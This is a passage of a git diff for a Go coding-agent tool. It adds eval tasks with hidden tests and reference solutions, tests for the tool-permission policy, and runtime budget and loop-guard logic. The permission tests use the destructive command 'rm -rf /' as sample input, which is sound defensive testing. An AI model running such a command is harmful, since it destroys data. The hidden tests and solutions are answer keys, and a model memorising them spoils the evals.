t.Errorf("Content-Type = %q", ct) + } + var body map[string]string + if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { + t.Fatalf("body is not JSON: %q", rec.Body.String()) + } + if body["status"] != "ok" || len(body) != 1 { + t.Errorf("body = %v", body) + } +} + +func TestHealthOtherMethods(t *testing.T) { + for _, m := range []string{http.MethodPost, http.MethodPut, http.MethodDelete} { + rec := httptest.NewRecorder() + HealthHandler(rec, httptest.NewRequest(m, "/healthz", nil)) + if rec.Code != http.StatusMethodNotAllowed { + t.Errorf("%s status = %d, want 405", m, rec.Code) + } + if allow := rec.Header().Get("Allow"); allow != "GET" { + t.Errorf("%s Allow = %q, want GET", m, allow) + } + } +} + +func TestHealthIsAHandlerFunc(t *testing.T) { + var _ http.HandlerFunc = HealthHandler +} diff --git a/evals/tasks/13-health-handler/_solution/health.go b/evals/tasks/13-health-handler/_solution/health.go new file mode 100644 index 0000000..7d2277e --- /dev/null +++ b/evals/tasks/13-health-handler/_solution/health.go @@ -0,0 +1,19 @@ +// Package health exposes the service health endpoint. +package health + +import ( + "encoding/json" + "net/http" +) + +// HealthHandler reports whether the service is up. +func HealthHandler(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + w.Header().Set("Allow", http.MethodGet) + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusOK) + _ = json.NewEncoder(w).Encode(map[string]string{"status": "ok"}) +} diff --git a/evals/tasks/13-health-handler/fixture/go.mod b/evals/tasks/13-health-handler/fixture/go.mod new file mode 100644 index 0000000..1c58367 --- /dev/null +++ b/evals/tasks/13-health-handler/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/health + +go 1.21 diff --git a/evals/tasks/13-health-handler/fixture/health.go b/evals/tasks/13-health-handler/fixture/health.go new file mode 100644 index 0000000..96baea2 --- /dev/null +++ b/evals/tasks/13-health-handler/fixture/health.go @@ -0,0 +1,8 @@ +// Package health exposes the service health endpoint. +package health + +import "net/http" + +// HealthHandler reports whether the service is up. +func HealthHandler(w http.ResponseWriter, r *http.Request) { +} diff --git a/evals/tasks/13-health-handler/task.json b/evals/tasks/13-health-handler/task.json new file mode 100644 index 0000000..290b87d --- /dev/null +++ b/evals/tasks/13-health-handler/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "Implement HealthHandler in health.go as an http.HandlerFunc. For GET requests respond 200 with Content-Type \"application/json\" and the body {\"status\":\"ok\"} (a trailing newline is fine). For any other method respond 405 Method Not Allowed with an Allow: GET header. Do not change the function signature." +} diff --git a/evals/tasks/14-shadowed-err/_hidden/sumcsv_hidden_test.go b/evals/tasks/14-shadowed-err/_hidden/sumcsv_hidden_test.go new file mode 100644 index 0000000..aa2e4a3 --- /dev/null +++ b/evals/tasks/14-shadowed-err/_hidden/sumcsv_hidden_test.go @@ -0,0 +1,38 @@ +package sumcsv + +import ( + "strings" + "testing" +) + +func TestSumCSVValid(t *testing.T) { + cases := map[string]int{ + "1,2,3": 6, + " 10 , 20 ": 30, + "-5,5": 0, + "42": 42, + } + for in, want := range cases { + got, err := SumCSV(in) + if err != nil { + t.Errorf("SumCSV(%q) error: %v", in, err) + continue + } + if got != want { + t.Errorf("SumCSV(%q) = %d, want %d", in, got, want) + } + } +} + +func TestSumCSVRejectsBadFields(t *testing.T) { + for in, bad := range map[string]string{"1,2,x": "x", "1,,2": "", "3.5,1": "3.5", "abc": "abc"} { + _, err := SumCSV(in) + if err == nil { + t.Errorf("SumCSV(%q) should fail", in) + continue + } + if bad != "" && !strings.Contains(err.Error(), bad) { + t.Errorf("SumCSV(%q) error %q should mention %q", in, err, bad) + } + } +} diff --git a/evals/tasks/14-shadowed-err/_solution/sumcsv.go b/evals/tasks/14-shadowed-err/_solution/sumcsv.go new file mode 100644 index 0000000..0da927e --- /dev/null +++ b/evals/tasks/14-shadowed-err/_solution/sumcsv.go @@ -0,0 +1,22 @@ +// Package sumcsv sums comma-separated integers. +package sumcsv + +import ( + "fmt" + "strconv" + "strings" +) + +// SumCSV parses a comma-separated list of integers and returns their sum. +// It returns an error if any field is not an integer. +func SumCSV(s string) (int, error) { + total := 0 + for _, field := range strings.Split(s, ",") { + n, err := strconv.Atoi(strings.TrimSpace(field)) + if err != nil { + return 0, fmt.Errorf("sumcsv: field %q is not an integer: %w", field, err) + } + total += n + } + return total, nil +} diff --git a/evals/tasks/14-shadowed-err/fixture/go.mod b/evals/tasks/14-shadowed-err/fixture/go.mod new file mode 100644 index 0000000..6533d43 --- /dev/null +++ b/evals/tasks/14-shadowed-err/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/sumcsv + +go 1.21 diff --git a/evals/tasks/14-shadowed-err/fixture/sumcsv.go b/evals/tasks/14-shadowed-err/fixture/sumcsv.go new file mode 100644 index 0000000..f952911 --- /dev/null +++ b/evals/tasks/14-shadowed-err/fixture/sumcsv.go @@ -0,0 +1,22 @@ +// Package sumcsv sums comma-separated integers. +package sumcsv + +import ( + "strconv" + "strings" +) + +// SumCSV parses a comma-separated list of integers and returns their sum. +// It returns an error if any field is not an integer. +func SumCSV(s string) (int, error) { + total := 0 + var err error + for _, field := range strings.Split(s, ",") { + n, err := strconv.Atoi(strings.TrimSpace(field)) + if err != nil { + continue + } + total += n + } + return total, err +} diff --git a/evals/tasks/14-shadowed-err/task.json b/evals/tasks/14-shadowed-err/task.json new file mode 100644 index 0000000..9f493f3 --- /dev/null +++ b/evals/tasks/14-shadowed-err/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "SumCSV in sumcsv.go is documented to return an error when any field is not an integer, but it never does: bad fields are silently skipped and the returned error is always nil. Fix it so that a non-integer field makes SumCSV return an error whose message includes the offending field text, and the sum is returned only when every field parsed. Fields may have surrounding spaces." +} diff --git a/evals/tasks/15-top-words/_hidden/words_hidden_test.go b/evals/tasks/15-top-words/_hidden/words_hidden_test.go new file mode 100644 index 0000000..9ae2e04 --- /dev/null +++ b/evals/tasks/15-top-words/_hidden/words_hidden_test.go @@ -0,0 +1,44 @@ +package words + +import ( + "reflect" + "testing" +) + +func TestTopWords(t *testing.T) { + text := "The cat and the hat. THE cat sat; a hat, a cat!" + got := TopWords(text, 3) + want := []WordCount{{"cat", 3}, {"the", 3}, {"a", 2}} + if !reflect.DeepEqual(got, want) { + t.Errorf("TopWords = %v, want %v", got, want) + } +} + +func TestTopWordsFewerThanN(t *testing.T) { + got := TopWords("b a b", 10) + want := []WordCount{{"b", 2}, {"a", 1}} + if !reflect.DeepEqual(got, want) { + t.Errorf("TopWords = %v, want %v", got, want) + } +} + +func TestTopWordsUnicodeLettersAndDigits(t *testing.T) { + got := TopWords("café café 123 naïve", 5) + want := []WordCount{{"café", 2}, {"naïve", 1}} + if !reflect.DeepEqual(got, want) { + t.Errorf("TopWords = %v, want %v (digits are separators, not words)", got, want) + } +} + +func TestTopWordsEdgeCases(t *testing.T) { + for name, got := range map[string][]WordCount{ + "n=0": TopWords("a b", 0), + "n<0": TopWords("a b", -1), + "empty": TopWords("", 3), + "no words": TopWords("123 456 !!!", 3), + } { + if got == nil || len(got) != 0 { + t.Errorf("%s: got %v, want empty non-nil slice", name, got) + } + } +} diff --git a/evals/tasks/15-top-words/_solution/words.go b/evals/tasks/15-top-words/_solution/words.go new file mode 100644 index 0000000..84439f8 --- /dev/null +++ b/evals/tasks/15-top-words/_solution/words.go @@ -0,0 +1,39 @@ +// Package words counts word frequencies. +package words + +import ( + "sort" + "strings" + "unicode" +) + +// WordCount is a word and how often it appeared. +type WordCount struct { + Word string + Count int +} + +// TopWords returns the n most frequent words in text. +func TopWords(text string, n int) []WordCount { + if n <= 0 { + return []WordCount{} + } + counts := map[string]int{} + for _, w := range strings.FieldsFunc(text, func(r rune) bool { return !unicode.IsLetter(r) }) { + counts[strings.ToLower(w)]++ + } + out := make([]WordCount, 0, len(counts)) + for w, c := range counts { + out = append(out, WordCount{Word: w, Count: c}) + } + sort.Slice(out, func(i, j int) bool { + if out[i].Count != out[j].Count { + return out[i].Count > out[j].Count + } + return out[i].Word < out[j].Word + }) + if len(out) > n { + out = out[:n] + } + return out +} diff --git a/evals/tasks/15-top-words/fixture/go.mod b/evals/tasks/15-top-words/fixture/go.mod new file mode 100644 index 0000000..b82e414 --- /dev/null +++ b/evals/tasks/15-top-words/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/words + +go 1.21 diff --git a/evals/tasks/15-top-words/fixture/words.go b/evals/tasks/15-top-words/fixture/words.go new file mode 100644 index 0000000..52874f0 --- /dev/null +++ b/evals/tasks/15-top-words/fixture/words.go @@ -0,0 +1,13 @@ +// Package words counts word frequencies. +package words + +// WordCount is a word and how often it appeared. +type WordCount struct { + Word string + Count int +} + +// TopWords returns the n most frequent words in text. +func TopWords(text string, n int) []WordCount { + return nil +} diff --git a/evals/tasks/15-top-words/task.json b/evals/tasks/15-top-words/task.json new file mode 100644 index 0000000..835ffef --- /dev/null +++ b/evals/tasks/15-top-words/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "Implement TopWords in words.go. Split text into words on any run of non-letter characters (letters are what unicode.IsLetter accepts), lowercase them, count occurrences, and return the n most frequent as WordCount values ordered by count descending, ties broken by word ascending. If there are fewer than n distinct words return all of them. n <= 0 or empty text returns an empty, non-nil slice." +} diff --git a/internal/agent/permissions_test.go b/internal/agent/permissions_test.go new file mode 100644 index 0000000..e533277 --- /dev/null +++ b/internal/agent/permissions_test.go @@ -0,0 +1,148 @@ +package agent + +import ( + "errors" + "strings" + "testing" +) + +// scriptedPrompter answers with a fixed decision and counts how often it was +// consulted, so tests can assert that trusted calls skip the prompt entirely. +type scriptedPrompter struct { + allow bool + err error + calls int + last [2]string +} + +func (p *scriptedPrompter) Prompt(tool, op string) (bool, error) { + p.calls++ + p.last = [2]string{tool, op} + return p.allow, p.err +} + +func TestAuthorizeDecisionTable(t *testing.T) { + deny := func() *scriptedPrompter { return &scriptedPrompter{allow: false} } + allow := func() *scriptedPrompter { return &scriptedPrompter{allow: true} } + failing := func() *scriptedPrompter { return &scriptedPrompter{err: errors.New("stdin closed")} } + + cases := []struct { + name string + mode PermissionMode + prompter func() *scriptedPrompter + trusted *TrustedToolStore + tool, input string + wantAllowed bool + wantReason string + wantPrompts int + }{ + { + name: "full access never prompts, even when the prompter would deny", + mode: DangerFullAccess, prompter: deny, tool: "BashTool", input: `{"command":"rm -rf /"}`, + wantAllowed: true, wantPrompts: 0, + }, + { + name: "full access ignores the trusted store entirely", + mode: DangerFullAccess, prompter: deny, trusted: storeWith(), tool: "BashTool", input: `{}`, + wantAllowed: true, wantPrompts: 0, + }, + { + name: "workspace mode with a trusted match skips the prompt", + mode: WorkspaceWrite, prompter: deny, trusted: storeWith("BashTool:git *"), tool: "BashTool", input: `{"command":"git status"}`, + wantAllowed: true, wantPrompts: 0, + }, + { + name: "workspace mode with a trusted store but no match asks", + mode: WorkspaceWrite, prompter: allow, trusted: storeWith("BashTool:git *"), tool: "BashTool", input: `{"command":"rm -rf /"}`, + wantAllowed: true, wantPrompts: 1, + }, + { + name: "user approval allows once", + mode: WorkspaceWrite, prompter: allow, tool: "BashTool", input: `{"command":"ls"}`, + wantAllowed: true, wantPrompts: 1, + }, + { + name: "user denial is reported as such", + mode: WorkspaceWrite, prompter: deny, tool: "BashTool", input: `{"command":"ls"}`, + wantAllowed: false, wantReason: "permission denied by user", wantPrompts: 1, + }, + { + name: "a prompter failure denies and says why", + mode: WorkspaceWrite, prompter: failing, tool: "BashTool", input: `{"command":"ls"}`, + wantAllowed: false, wantReason: "permission prompt error: stdin closed", wantPrompts: 1, + }, + { + name: "a prompter failure denies even for a tool the store would otherwise not match", + mode: WorkspaceWrite, prompter: failing, trusted: storeWith("OtherTool"), tool: "BashTool", input: `{}`, + wantAllowed: false, wantReason: "permission prompt error: stdin closed", wantPrompts: 1, + }, + { + name: "the store is consulted before the prompter, so a denying prompter still loses to trust", + mode: WorkspaceWrite, prompter: deny, trusted: storeWith("*"), tool: "Anything", input: `{}`, + wantAllowed: true, wantPrompts: 0, + }, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + p := tc.prompter() + policy := PermissionPolicy{Mode: tc.mode, Prompter: p, Trusted: tc.trusted} + allowed, reason := policy.Authorize(tc.tool, tc.input) + if allowed != tc.wantAllowed { + t.Errorf("allowed = %v, want %v (reason %q)", allowed, tc.wantAllowed, reason) + } + if reason != tc.wantReason { + t.Errorf("reason = %q, want %q", reason, tc.wantReason) + } + if p.calls != tc.wantPrompts { + t.Errorf("prompter consulted %d times, want %d", p.calls, tc.wantPrompts) + } + if tc.wantPrompts > 0 && (p.last[0] != tc.tool || p.last[1] != tc.input) { + t.Errorf("prompter saw %v, want tool=%s input=%s", p.last, tc.tool, tc.input) + } + }) + } +} + +func TestAuthorizeWithNoPrompterFailsOpen(t *testing.T) { + // Documented, not endorsed: PermissionPolicy without a Prompter allows + // everything in WorkspaceWrite mode. The only constructor in the codebase + // (NewConversationRuntime) substitutes AllowAllPrompter for nil, so this + // path is not reachable from the CLI. If a second constructor ever appears + // it should fail closed, and this test is where that decision is recorded. + policy := PermissionPolicy{Mode: WorkspaceWrite} + if allowed, _ := policy.Authorize("BashTool", `{"command":"rm -rf /"}`); !allowed { + t.Error("current behaviour is allow; if you changed it to deny, update this test and the comment above") + } +} + +func TestAllowAllPrompterAllows(t *testing.T) { + ok, err := AllowAllPrompter{}.Prompt("x", "y") + if !ok || err != nil { + t.Errorf("AllowAllPrompter = %v, %v", ok, err) + } +} + +func TestRuntimeDefaultsToAllowAllPrompterWhenNoneGiven(t *testing.T) { + // This is the reason the fail-open path above is unreachable: the runtime + // never hands the policy a nil prompter. + rt := NewConversationRuntime(RuntimeOptions{}) + if rt.permPolicy.Prompter == nil { + t.Fatal("runtime must substitute a prompter") + } + if _, isAllowAll := rt.permPolicy.Prompter.(AllowAllPrompter); !isAllowAll { + t.Errorf("default prompter is %T, want AllowAllPrompter", rt.permPolicy.Prompter) + } + if rt.permPolicy.Mode != WorkspaceWrite { + t.Errorf("default mode = %v, want WorkspaceWrite (prompting), never full access by accident", rt.permPolicy.Mode) + } +} + +func TestAuthorizeDenialReasonIsUsableAsToolOutput(t *testing.T) { + // The runtime returns the reason to the model as the tool result, so it + // has to be a plain sentence the model can act on. + policy := PermissionPolicy{Mode: WorkspaceWrite, Prompter: &scriptedPrompter{allow: false}} + _, reason := policy.Authorize("BashTool", `{"command":"ls"}`) + if strings.TrimSpace(reason) == "" || strings.ContainsAny(reason, "{}") { + t.Errorf("reason %q should be prose, not JSON", reason) + } +} diff --git a/internal/agent/runtime.go b/internal/agent/runtime.go index edb6556..4a66c6e 100644 --- a/internal/agent/runtime.go +++ b/internal/agent/runtime.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "strings" "github.com/AlleyBo55/gocode/internal/apiclient" "github.com/AlleyBo55/gocode/internal/apitypes" @@ -22,6 +23,14 @@ type RuntimeOptions struct { Trusted *TrustedToolStore Hooks HookRunner ToolCb ToolCallback + // MaxCostUSD stops the agent loop once the session's estimated spend, + // from the per-model price table, reaches this amount. Zero is unlimited. + MaxCostUSD float64 + // Inbox, when set, is drained at the start of every model turn. Each + // string becomes a user message the model reads before it answers, which + // is how messages from other agents in a swarm reach this one. It must + // not block. + Inbox func() []string } // ToolCallback is called before and after tool execution for UI updates. @@ -50,6 +59,9 @@ type ConversationRuntime struct { hooks HookRunner usage UsageTracker toolCb ToolCallback + maxCost float64 + loop loopGuard // reset for every user message + inbox func() []string } // NewConversationRuntime creates a new runtime from options. @@ -84,9 +96,27 @@ func NewConversationRuntime(opts RuntimeOptions) *ConversationRuntime { permPolicy: PermissionPolicy{Mode: opts.PermMode, Prompter: prompter, Trusted: opts.Trusted}, hooks: hooks, toolCb: toolCb, + maxCost: opts.MaxCostUSD, + inbox: opts.Inbox, } } +// deliverInbox appends any pending inter-agent messages to the session as a +// user message. It runs before each request, so a message that arrives while +// tools are executing is read on the very next turn. Placing it after tool +// results keeps every tool_use answered by its tool_result; providers accept +// consecutive user messages and merge them. +func (r *ConversationRuntime) deliverInbox() { + if r.inbox == nil { + return + } + msgs := r.inbox() + if len(msgs) == 0 { + return + } + r.session = append(r.session, apitypes.UserText(strings.Join(msgs, "\n\n"))) +} + // SendUserMessage runs the full agent loop: send prompt, execute tools, loop until done. func (r *ConversationRuntime) SendUserMessage(ctx context.Context, text string) (*apitypes.MessageResponse, error) { r.session = append(r.session, apitypes.UserText(text)) @@ -100,13 +130,18 @@ func (r *ConversationRuntime) SendWithMessage(ctx context.Context, msg apitypes. } func (r *ConversationRuntime) sendLoop(ctx context.Context) (*apitypes.MessageResponse, error) { + r.loop = loopGuard{} for iteration := 0; iteration < r.maxIter; iteration++ { + if h := r.overBudget(); h != nil { + return h.response(), nil + } + r.deliverInbox() req := r.buildRequest() resp, err := r.provider.SendMessage(ctx, req) if err != nil { return nil, err } - r.usage.Add(resp.Usage) + r.usage.AddForModel(servedModel(resp.Model, r.model), resp.Usage) // Build assistant message from response content assistantMsg := apitypes.InputMessage{Role: "assistant"} @@ -129,10 +164,8 @@ func (r *ConversationRuntime) sendLoop(ctx context.Context) (*apitypes.MessageRe return resp, nil } - // Execute each tool - for _, tu := range pendingTools { - result := r.executeTool(tu) - r.session = append(r.session, apitypes.UserToolResult(tu.id, result.Output, result.IsError)) + if h := r.runTools(pendingTools); h != nil { + return h.response(), nil } } @@ -162,9 +195,15 @@ func (r *ConversationRuntime) StreamWithMessage(ctx context.Context, msg apitype func (r *ConversationRuntime) streamLoop(ctx context.Context) (<-chan apitypes.StreamEvent, error) { outCh := make(chan apitypes.StreamEvent, 64) + r.loop = loopGuard{} go func() { defer close(outCh) for iteration := 0; iteration < r.maxIter; iteration++ { + if h := r.overBudget(); h != nil { + outCh <- h.event() + return + } + r.deliverInbox() req := r.buildRequest() eventCh, err := r.provider.StreamMessage(ctx, req) if err != nil { @@ -183,6 +222,7 @@ func (r *ConversationRuntime) streamLoop(ctx context.Context) (<-chan apitypes.S var contentBlocks []apitypes.OutputContentBlock var pendingTools []toolUseInfo var currentUsage apitypes.Usage + turnModel := r.model for ev := range eventCh { select { @@ -192,6 +232,14 @@ func (r *ConversationRuntime) streamLoop(ctx context.Context) (<-chan apitypes.S } // Track content blocks from stream events switch ev.Kind { + case "message_start": + if ev.Message != nil { + // Anthropic reports input tokens here and only output + // tokens in message_delta; reading message_delta alone + // recorded every streamed turn as zero input. + currentUsage = ev.Message.Usage + turnModel = servedModel(ev.Message.Model, r.model) + } case "content_block_start": if ev.ContentBlock != nil { // Ensure contentBlocks is large enough for the index @@ -216,12 +264,12 @@ func (r *ConversationRuntime) streamLoop(ctx context.Context) (<-chan apitypes.S } case "message_delta": if ev.DeltaUsage != nil { - currentUsage = *ev.DeltaUsage + currentUsage = mergeUsage(currentUsage, *ev.DeltaUsage) } } } - r.usage.Add(currentUsage) + r.usage.AddForModel(turnModel, currentUsage) // Build assistant message assistantMsg := apitypes.InputMessage{Role: "assistant"} @@ -242,9 +290,12 @@ func (r *ConversationRuntime) streamLoop(ctx context.Context) (<-chan apitypes.S return } - for _, tu := range pendingTools { - result := r.executeTool(tu) - r.session = append(r.session, apitypes.UserToolResult(tu.id, result.Output, result.IsError)) + if h := r.runTools(pendingTools); h != nil { + select { + case outCh <- h.event(): + case <-ctx.Done(): + } + return } } }() @@ -257,14 +308,127 @@ type toolUseInfo struct { input json.RawMessage } -func (r *ConversationRuntime) executeTool(tu toolUseInfo) apitypes.ToolResult { - // Parse input - var inputMap map[string]interface{} - if len(tu.input) > 0 { - _ = json.Unmarshal(tu.input, &inputMap) +// halt is why the agent loop stopped before the model finished on its own. +type halt struct { + reason string // becomes the stop_reason: "budget_exceeded" or "stuck" + message string +} + +func (h *halt) response() *apitypes.MessageResponse { + return &apitypes.MessageResponse{ + Type: "message", + Role: "assistant", + StopReason: h.reason, + Content: []apitypes.OutputContentBlock{{Kind: "text", Text: h.message}}, } - if inputMap == nil { - inputMap = make(map[string]interface{}) +} + +// event is the shape the REPL renders in red: Kind "error" with the text in +// BlockDelta, the same one provider failures use. +func (h *halt) event() apitypes.StreamEvent { + return apitypes.StreamEvent{ + Kind: "error", + BlockDelta: &apitypes.ContentBlockDelta{Kind: "text_delta", Text: h.message}, + } +} + +// overBudget reports a halt once the session's estimated spend reaches +// MaxCostUSD. Unpriced models never trip it; the CLI warns about that up +// front rather than silently enforcing nothing. +func (r *ConversationRuntime) overBudget() *halt { + if r.maxCost <= 0 { + return nil + } + usd, _ := r.usage.Cost() + if usd < r.maxCost { + return nil + } + return &halt{ + reason: "budget_exceeded", + message: fmt.Sprintf("Stopping: estimated session cost $%.4f has reached the --max-cost limit of $%.2f. "+ + "Raise the limit or start a new session to continue.", usd, r.maxCost), + } +} + +// Consecutive identical tool-call iterations before the model is told, and +// before the loop gives up. Weak models re-issue the same read or the same +// failing command until max-turns; both thresholds count iterations whose +// calls and results are byte-identical, so a command re-run after an edit, +// or a poll whose output changes, is never mistaken for a loop. +const ( + loopWarnAfter = 3 + loopStopAfter = 5 +) + +// loopGuard tracks how many iterations in a row have been identical. +type loopGuard struct { + last string + repeats int +} + +func (g *loopGuard) observe(fingerprint string) (warn, stop bool) { + if fingerprint == g.last { + g.repeats++ + } else { + g.last = fingerprint + g.repeats = 1 + } + return g.repeats >= loopWarnAfter, g.repeats >= loopStopAfter +} + +// runTools executes one turn's tool calls, appends their results to the +// session, and reports whether the loop should stop. When it does stop with +// calls outstanding, each gets an error result so the session stays valid: +// a tool_use with no tool_result is rejected by the API on the next request. +func (r *ConversationRuntime) runTools(pending []toolUseInfo) *halt { + if h := r.overBudget(); h != nil { + for _, tu := range pending { + r.session = append(r.session, apitypes.UserToolResult(tu.id, "not executed: "+h.message, true)) + } + return h + } + + results := make([]apitypes.ToolResult, len(pending)) + var fp strings.Builder + for i, tu := range pending { + results[i] = r.executeTool(tu) + fmt.Fprintf(&fp, "%s\x00%s\x00%s\x00", tu.name, tu.input, results[i].Output) + } + warn, stop := r.loop.observe(fp.String()) + + for i, tu := range pending { + out := results[i].Output + if warn { + out += fmt.Sprintf("\n\n[gocode] This exact tool call has now returned this exact result %d times in a row. "+ + "Repeating it will not change anything. Change approach, or stop and explain what is blocking you.", r.loop.repeats) + } + r.session = append(r.session, apitypes.UserToolResult(tu.id, out, results[i].IsError)) + } + if stop { + calls := "call" + if len(pending) > 1 { + calls = "set of tool calls" + } + return &halt{ + reason: "stuck", + message: fmt.Sprintf("Stopping: the model repeated the same tool %s with the same result %d times in a row "+ + "and did not change approach after being told.", calls, r.loop.repeats), + } + } + return nil +} + +func (r *ConversationRuntime) executeTool(tu toolUseInfo) apitypes.ToolResult { + inputMap, malformed := parseToolInput(tu.input) + if malformed != "" { + // Running a tool with empty arguments because the model's JSON did not + // parse produces a misleading "path is required" style error. Tell the + // model exactly what went wrong instead, so it can resend. + r.toolCb.OnToolStart(tu.name, inputMap) + r.toolCb.OnToolEnd(tu.name, false) + return apitypes.ToolResult{ToolUseID: tu.id, IsError: true, Output: fmt.Sprintf( + "Tool %s was not run: its arguments were not valid JSON (%s). "+ + "Resend the call with a single JSON object that matches the tool's input schema.", tu.name, malformed)} } inputStr, _ := json.Marshal(inputMap) @@ -336,14 +500,20 @@ func (r *ConversationRuntime) CompactSession(preserveRecent int) { } // EstimateSessionTokens returns a rough token count for the current session. -// Uses the heuristic: 1 token ≈ 4 characters. +// Uses the heuristic: 1 token ≈ 4 characters. Tool results (block.Content) +// are usually the bulk of a coding session and must be counted, or the +// 85% compaction threshold in the REPL is reached long after the real +// context window is. Images are not counted: their token cost depends on +// pixel dimensions, not on the base64 length, which would overestimate by +// an order of magnitude. func (r *ConversationRuntime) EstimateSessionTokens() int { totalChars := len(r.systemPrompt) for _, msg := range r.session { for _, block := range msg.Content { totalChars += len(block.Text) + totalChars += len(block.Content) totalChars += len(block.Input) - totalChars += len(block.Name) + len(block.ID) + totalChars += len(block.Name) + len(block.ID) + len(block.ToolUseID) } } return totalChars / 4 @@ -414,9 +584,70 @@ func (r *ConversationRuntime) RestoreSession(messages []apitypes.InputMessage) { r.session = messages } +// parseToolInput decodes a tool call's arguments. malformed is non-empty +// when they are not a JSON object: either the raw bytes do not parse, or the +// OpenAI-compatible provider already caught that and wrapped the original +// text as {"raw": "..."}. No gocode tool takes a lone string parameter named +// raw, so that shape is unambiguous. +func parseToolInput(input json.RawMessage) (map[string]interface{}, string) { + inputMap := make(map[string]interface{}) + if len(input) == 0 { + return inputMap, "" + } + if err := json.Unmarshal(input, &inputMap); err != nil { + return make(map[string]interface{}), fmt.Sprintf("%v; received %s", err, snippet(string(input))) + } + if inputMap == nil { + return make(map[string]interface{}), "" + } + if raw, ok := inputMap["raw"].(string); ok && len(inputMap) == 1 && !json.Valid([]byte(raw)) { + return make(map[string]interface{}), "received " + snippet(raw) + } + return inputMap, "" +} + +func snippet(s string) string { + s = strings.TrimSpace(s) + if len(s) > 200 { + s = s[:199] + "…" + } + return fmt.Sprintf("%q", s) +} + func appendJSON(existing json.RawMessage, partial string) json.RawMessage { if len(existing) == 0 || string(existing) == "{}" { return json.RawMessage(partial) } return json.RawMessage(string(existing) + partial) } + +// servedModel is the model to attribute a turn to: the id the provider +// reports, which under a fallback chain may differ from the one requested, +// falling back to the requested id when the provider reports none. +func servedModel(reported, requested string) string { + if reported != "" { + return reported + } + return requested +} + +// mergeUsage layers a message_delta usage over the message_start usage. +// Every counter the delta reports is a cumulative total for the turn, so a +// non-zero delta value replaces the base; a zero one means "not reported +// here" and the base is kept. Anthropic sends input tokens only in +// message_start and output tokens in both; OpenAI-compatible streams send +// everything in the final delta. +func mergeUsage(base, delta apitypes.Usage) apitypes.Usage { + pick := func(b, d int) int { + if d != 0 { + return d + } + return b + } + return apitypes.Usage{ + InputTokens: pick(base.InputTokens, delta.InputTokens), + CacheCreationInputTokens: pick(base.CacheCreationInputTokens, delta.CacheCreationInputTokens), + CacheReadInputTokens: pick(base.CacheReadInputTokens, delta.CacheReadInputTokens), + OutputTokens: pick(base.OutputTokens, delta.OutputTokens), + } +} diff --git a/internal/agent/runtime_test.go b/internal/agent/runtime_test.go new file mode 100644 index 0000000..69576fa --- /dev/null +++ b/internal/agent/runtime_test.go @@ -0,0 +1,683 @@ +package agent + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "reflect" + "strings" + "testing" + "time" + + "github.com/AlleyBo55/gocode/internal/apiclient" + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +// scriptedProvider answers successive calls from a queue. Each streaming call +// consumes one event script; each non-streaming call one response. It also +// records every request so tests can inspect the conversation the runtime +// built between turns. +type scriptedProvider struct { + streams [][]apitypes.StreamEvent + responses []*apitypes.MessageResponse + err error + requests []apitypes.MessageRequest +} + +func (p *scriptedProvider) Kind() apiclient.ProviderKind { return apiclient.ProviderAnthropic } + +func (p *scriptedProvider) SendMessage(_ context.Context, req apitypes.MessageRequest) (*apitypes.MessageResponse, error) { + p.requests = append(p.requests, req) + if p.err != nil { + return nil, p.err + } + if len(p.responses) == 0 { + return nil, errors.New("scriptedProvider: no response queued") + } + r := p.responses[0] + p.responses = p.responses[1:] + return r, nil +} + +func (p *scriptedProvider) StreamMessage(_ context.Context, req apitypes.MessageRequest) (<-chan apitypes.StreamEvent, error) { + p.requests = append(p.requests, req) + if p.err != nil { + return nil, p.err + } + if len(p.streams) == 0 { + return nil, errors.New("scriptedProvider: no stream queued") + } + events := p.streams[0] + p.streams = p.streams[1:] + ch := make(chan apitypes.StreamEvent, len(events)) + for _, ev := range events { + ch <- ev + } + close(ch) + return ch, nil +} + +// anthropicTextTurn mirrors the wire shape in apiclient/testdata/anthropic_text.sse: +// input tokens in message_start, output tokens in message_delta. +func anthropicTextTurn(model, text string, in, out int) []apitypes.StreamEvent { + return []apitypes.StreamEvent{ + {Kind: "message_start", Message: &apitypes.MessageResponse{ID: "msg_1", Model: model, Usage: apitypes.Usage{InputTokens: in, OutputTokens: 1, CacheReadInputTokens: 7}}}, + {Kind: "content_block_start", Index: 0, ContentBlock: &apitypes.OutputContentBlock{Kind: "text"}}, + {Kind: "content_block_delta", Index: 0, BlockDelta: &apitypes.ContentBlockDelta{Kind: "text_delta", Text: text}}, + {Kind: "content_block_stop", Index: 0}, + {Kind: "message_delta", Delta: &apitypes.DeltaPayload{StopReason: "end_turn"}, DeltaUsage: &apitypes.Usage{OutputTokens: out}}, + {Kind: "message_stop"}, + } +} + +// anthropicToolTurn streams a tool_use block whose input arrives in the three +// partials Anthropic really sends: an empty one, then the JSON in pieces. +func anthropicToolTurn(model, toolID, tool string, partials []string) []apitypes.StreamEvent { + events := []apitypes.StreamEvent{ + {Kind: "message_start", Message: &apitypes.MessageResponse{ID: "msg_t", Model: model, Usage: apitypes.Usage{InputTokens: 400, OutputTokens: 3}}}, + {Kind: "content_block_start", Index: 0, ContentBlock: &apitypes.OutputContentBlock{Kind: "text"}}, + {Kind: "content_block_delta", Index: 0, BlockDelta: &apitypes.ContentBlockDelta{Kind: "text_delta", Text: "Reading."}}, + {Kind: "content_block_stop", Index: 0}, + {Kind: "content_block_start", Index: 1, ContentBlock: &apitypes.OutputContentBlock{Kind: "tool_use", ID: toolID, Name: tool, Input: json.RawMessage("{}")}}, + } + for _, p := range partials { + events = append(events, apitypes.StreamEvent{Kind: "content_block_delta", Index: 1, BlockDelta: &apitypes.ContentBlockDelta{Kind: "input_json_delta", PartialJSON: p}}) + } + return append(events, + apitypes.StreamEvent{Kind: "content_block_stop", Index: 1}, + apitypes.StreamEvent{Kind: "message_delta", Delta: &apitypes.DeltaPayload{StopReason: "tool_use"}, DeltaUsage: 